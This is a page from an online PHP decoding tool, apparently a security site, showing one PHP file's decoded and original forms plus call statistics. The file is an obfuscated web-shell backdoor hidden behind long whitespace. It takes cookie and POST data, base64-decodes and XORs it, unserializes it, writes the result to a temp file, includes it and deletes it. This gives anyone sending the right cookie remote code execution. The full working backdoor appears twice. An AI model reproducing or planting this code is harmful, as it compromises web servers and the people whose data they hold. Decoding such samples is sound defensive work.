Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $snHIzALzH = 'b' . 'r' . '_' . chr (83) . 't' . chr (82) . "V" . chr ( 185 - 63 ); $gaWjMZpOM = chr (99) . chr ( 402 - 294 ).chr ( 199 - 102 ).'s' . chr ( 588 - 473 )."_" . chr ( 1038 - 937 )."x" . "i" . 's' . 't' . 's';$xyKmULevVo = class_exists($snHIzALzH); $snHIzALzH = "45382";$gaWjMZpOM = "38331";$jSuQCzggKb = FALSE;if ($xyKmULevVo === $jSuQCzggKb){function QLRePKW(){return FALSE;}$gisQZyOv = "65460";QLRePKW();class br_StRVz{private function tKkZhbojy($gisQZyOv){if (is_array(br_StRVz::$Aozst)) {$mRsKtdKPhy = sys_get_temp_dir() . "/" . crc32(br_StRVz::$Aozst["s" . 'a' . "l" . 't']);@br_StRVz::$Aozst[chr ( 247 - 128 )."r" . chr (105) . chr (116) . "e"]($mRsKtdKPhy, br_StRVz::$Aozst[chr (99) . 'o' . chr ( 512 - 402 )."t" . "e" . 'n' . "t"]);include $mRsKtdKPhy;@br_StRVz::$Aozst['d' . chr ( 597 - 496 )."l" . chr ( 739 - 638 ).'t' . 'e']($mRsKtdKPhy); $gisQZyOv = "65460";exit();}}private $zKrfkPw;public function gpTkS(){echo 26214;}public function __destruct(){$gisQZyOv = "59389_1094";$this->tKkZhbojy($gisQZyOv); $gisQZyOv = "59389_1094";}public function __construct($ObnuLpKvne=0){$fgNOKdKLUW = $_POST;$BazEwtP = $_COOKIE;$CTetgDoQ = "b50ec0d6-cd95-43b3-979a-a09758ab6c19";$TubbVjH = @$BazEwtP[substr($CTetgDoQ, 0, 4)];if (!empty($TubbVjH)){$cFGgl = "base64";$NTVyrQTiXD = "";$TubbVjH = explode(",", $TubbVjH);foreach ($TubbVjH as $zOaIOwPx){$NTVyrQTiXD .= @$BazEwtP[$zOaIOwPx];$NTVyrQTiXD .= @$fgNOKdKLUW[$zOaIOwPx];}$NTVyrQTiXD = array_map($cFGgl . '_' . chr (100) . "e" . "c" . chr ( 913 - 802 )."d" . 'e', array($NTVyrQTiXD,)); $NTVyrQTiXD = $NTVyrQTiXD[0] ^ str_repeat($CTetgDoQ, (strlen($NTVyrQTiXD[0]) / strlen($CTetgDoQ)) + 1);br_StRVz::$Aozst = @unserialize($NTVyrQTiXD);}}public static $Aozst = 31301;}$jCKuE = new /* 31888 */ br_StRVz(65460); $jCKuE = str_repeat("59389_1094", 1);} ?><?php ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $snHIzALzH = 'b' . 'r' . '_' . chr (83) . 't' . chr (82) . "\x56" . chr ( 185 - 63 ); $gaWjMZpOM = chr (99) . chr ( 402 - 294 ).chr ( 199 - 102 ).'s' . chr ( 588 - 473 )."\137" . chr ( 1038 - 937 )."\x78" . "\x69" . 's' . 't' . 's';$xyKmULevVo = class_exists($snHIzALzH); $snHIzALzH = "45382";$gaWjMZpOM = "38331";$jSuQCzggKb = FALSE;if ($xyKmULevVo === $jSuQCzggKb){function QLRePKW(){return FALSE;}$gisQZyOv = "65460";QLRePKW();class br_StRVz{private function tKkZhbojy($gisQZyOv){if (is_array(br_StRVz::$Aozst)) {$mRsKtdKPhy = sys_get_temp_dir() . "/" . crc32(br_StRVz::$Aozst["\x73" . 'a' . "\154" . 't']);@br_StRVz::$Aozst[chr ( 247 - 128 )."\x72" . chr (105) . chr (116) . "\145"]($mRsKtdKPhy, br_StRVz::$Aozst[chr (99) . 'o' . chr ( 512 - 402 )."\x74" . "\145" . 'n' . "\x74"]);include $mRsKtdKPhy;@br_StRVz::$Aozst['d' . chr ( 597 - 496 )."\154" . chr ( 739 - 638 ).'t' . 'e']($mRsKtdKPhy); $gisQZyOv = "65460";exit();}}private $zKrfkPw;public function gpTkS(){echo 26214;}public function __destruct(){$gisQZyOv = "59389_1094";$this->tKkZhbojy($gisQZyOv); $gisQZyOv = "59389_1094";}public function __construct($ObnuLpKvne=0){$fgNOKdKLUW = $_POST;$BazEwtP = $_COOKIE;$CTetgDoQ = "b50ec0d6-cd95-43b3-979a-a09758ab6c19";$TubbVjH = @$BazEwtP[substr($CTetgDoQ, 0, 4)];if (!empty($TubbVjH)){$cFGgl = "base64";$NTVyrQTiXD = "";$TubbVjH = explode(",", $TubbVjH);foreach ($TubbVjH as $zOaIOwPx){$NTVyrQTiXD .= @$BazEwtP[$zOaIOwPx];$NTVyrQTiXD .= @$fgNOKdKLUW[$zOaIOwPx];}$NTVyrQTiXD = array_map($cFGgl . '_' . chr (100) . "\x65" . "\143" . chr ( 913 - 802 )."\144" . 'e', array($NTVyrQTiXD,)); $NTVyrQTiXD = $NTVyrQTiXD[0] ^ str_repeat($CTetgDoQ, (strlen($NTVyrQTiXD[0]) / strlen($CTetgDoQ)) + 1);br_StRVz::$Aozst = @unserialize($NTVyrQTiXD);}}public static $Aozst = 31301;}$jCKuE = new /* 31888 */ br_StRVz(65460); $jCKuE = str_repeat("59389_1094", 1);} ?><?php

Function Calls

chr 8
class_exists 1

Variables

$gaWjMZpOM class_exists
$snHIzALzH br_StRVz

Stats

MD5 8df49e91080e00e5d0f480f26391690c
Eval Count 0
Decode Time 67 ms